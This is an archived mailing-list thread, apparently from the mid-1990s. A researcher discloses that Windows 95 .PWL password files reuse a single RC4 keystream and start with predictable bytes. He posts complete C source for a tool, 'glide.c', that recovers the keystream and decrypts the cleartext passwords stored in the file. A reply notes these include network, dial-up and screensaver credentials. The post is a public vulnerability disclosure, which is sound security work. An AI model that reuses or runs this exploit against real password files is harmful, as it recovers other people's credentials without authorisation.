Cracked: WINDOWS.PWL
A few days ago Peter Gutmann posted a description on how Windows 95 produces RC4 keys of 32 bits size to protect the .pwl files. I verified the information and wrote a program to decrypt .pwl files with a known password, I then discovered that the .pwl files where well suited for a known plaintext attack as the 20 first bytes are completely predictable. The 20 first bytes of any .pwl files contains the username, which is the same as the filename, in capitals, padded with 0x00. From then I wrote a program to bruteforce the .pwl file and optimized it so it would run in less than 24 hours on an SGI. I run a test of the bruter software and recovered an unknown rc4 key in 8 hours, but the decrypted file was still largely uninteligeble, I then proceeded to decrypt the file at all possible starting points, and discovered valuable information (cleartext passwords) offset in the file. This has enormous implications: RC4 is a stream cipher, it generates a long pseudo random stream that it uses to XOR the data byte by byte. This isn't neccecaraly weak encryption if you don't use the same stream twice: however WIN95 does, every resource is XORed with the same pseudo random stream. What's more the 20 first bytes are easy to guess. This is easy to exploit: XOR the 20 bytes starting at position 0x208 with the user name in uppercase, and slide this string through the rest of the file (xoring it with whatever is there) this reveals the 20 first bytes of the different resources.
From there I went on to study the structure of the .pwl file it is something like this (decrypted):
USERNAME.........wpwpwpwpwpwpwpwpwpwp rs??????? rs rs rs??????????? rs??????? where wp is i word pointer to the different resources (from start of pwl file) The 2 first bytes of the resource (rs) is its length in bytes (of course XOR with RC4 output) It is the fairly easy to find all the resource pointers by jumping from start of resource to next resource, had it not been for the fact that the size sometimes is incorrect (courtesy of M$) What follows is a short c program that tries to remedy this and reconstruct the pointertable thus generating at least 54 bytes of the RC4 pseudorandom stream, and then proceedes to decrypt as much as possible from the different resources. What does this show? Although RC4 is a fairly strong cipher, it has the same limitations as any XOR streamcipher, and implementing it without sufficient knowledge can have dire consequences. I strongly suggest that the programmers at Microsoft do their homework before trying anything like this again! DISCLAIMER: This is a quick hack, I don't make any claims about usefulness for any purpose, nor do I take responsibility for use nor consequences of use of the software. FUNCOM of Norway is not responsible for any of this, (I speak for myself, and let others speak for themselves) This source is hereby placed in the public domain, please improve if you can. --- glide.c --- #include <stdio.h> #include <string.h> unsigned char Data[100001]; unsigned char keystream[1001]; int Rpoint[300]; main (int argc,char *argv[]) { FILE *fd; int i,j,k; int size; char ch; char *name; int cracked; int sizemask; int maxr; int rsz; int pos; int Rall[300]; /* resource allocation table */ if (argc<2) { printf("usage: glide filename (username)"); exit(1); } /* read PWL file */ fd=fopen(argv[1],"rb"); if(fd==NULL) { printf("can't open file %s",argv[2]); exit(1); } size=0; while(!feof(fd)) { Data[size++]=fgetc(fd); } size--; fclose(fd); /* find username */ name=argv[1]; if(argc>2) name=argv[2]; printf("Username: %s\n",name); /* copy encrypted text into keystream */ cracked=size-0x0208; if(cracked<0) cracked=0; if(cracked>1000) cracked=1000; memcpy(keystream,Data+0x208,cracked ); /* generate 20 bytes of keystream */ for(i=0;i<20;i++) { ch=toupper(name[i]); if(ch==0) break; if(ch=='.') break; keystream[i]^=ch; }; cracked=20; /* find allocated resources */ sizemask=keystream[0]+(keystream[1]<<8); printf("Sizemask: %04X\n",sizemask); for(i=0;i<256;i++) Rall[i]=0; maxr=0; for(i=0x108;i<0x208;i++) { if(Data[i]!=0xff) { Rall[Data[i]]++; if (Data[i]>maxr) maxr=Data[i]; } } maxr=(((maxr/16)+1)*16); /* resource pointer table size appears to be divisible by 16 */ /* search after resources */ Rpoint[0]=0x0208+2*maxr+20+2; /* first resource */ for(i=0;i<maxr;i++) { /* find size of current resource */ pos=Rpoint[i]; rsz=Data[pos]+(Data[pos+1]<<8); rsz^=sizemask; printf("Analyzing block with size: %04x\t(%d:%d)\n",rsz,i,Rall[i]); if( (Rall[i]==0) && (rsz!=0) ) { printf("unused resource has nonzero size !!!\n"); exit(0); } pos+=rsz; /* Resources have a tendency to have the wrong size for some reason */ /* check for correct size */ if(i<maxr-1) { while(Data[pos+3]!=keystream[1]) { printf(":(%02x)",Data[pos+3]); pos+=2; /* very rude may fail */ } } pos+=2; /* include pointer in size */ Rpoint[i+1]=pos; } Rpoint[maxr]=size; /* insert Table data into keystream */ for(i=0;i <= maxr;i++) { keystream[20+2*i]^=Rpoint[i] & 0x00ff; keystream[21+2*i]^=(Rpoint[i] >> 8) & 0x00ff; } cracked+=maxr*2+2; printf("%d bytes of keystream recovered\n",cracked); /* decrypt resources */ for(i=0;i < maxr;i++) { rsz=Rpoint[i+1]-Rpoint[i]; if (rsz>cracked) rsz=cracked; printf("Resource[%d] (%d)\n",i,rsz); for(j=0;j<rsz;j++) printf("%c",Data[Rpoint[i]+j]^keystream[j]); printf("\n"); } exit(0); } --- end --- #include <std/disclaimer.h> E3D2BCADBEF8C82F A5891D2B6730EA1B PGPencrypted mail preferred, finger for key
-----BEGIN PGP SIGNED MESSAGE----- Very interesting. Do you have information on the content of the various resource records within a .PWL file? They should be the stored usernames and passwords for every other authenticated service used by the "user profile." I.e. the "default login," say, the local Windows password, encrypts the .PWL file, and the contents are the passwords used for NetWare, NT, Dial-Up Networking, the screen saver, .PWL-enabled "security" utilities, etc. If anyone wants a sample .PWL file including known values of all of the above, I can have it for you within a day. Of course I wouldn't want to give you any *real* passwords. Of course I should just compile your code myself, but it's a busy day, and I'd hate to unnecessarily duplicate someone else's work... - -rich moderator of the win95netbugs list http://www-leland.stanford.edu/~llurch/win95netbugs/faq.html -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMMNP9Y3DXUbM57SdAQF+1wP/RFHvnjpne9bGsU6K8xxT3UPav2nt+8wR 2CUnY/Dm32bTDegx7QO8zpUVckNR2YwxG5ivZhBnov8UhMcngWdMLPjkdSCepPXP cvKTTwAVknmxqLXkyuVSn06PGKlNz5RQnluop5s74IJ3nmJPAFnU+/pGWvlZY3cN jh42jdlo/8s= =zDbs -----END PGP SIGNATURE-----
participants (2)
-
Frank Andrew Stevenson -
Rich Graves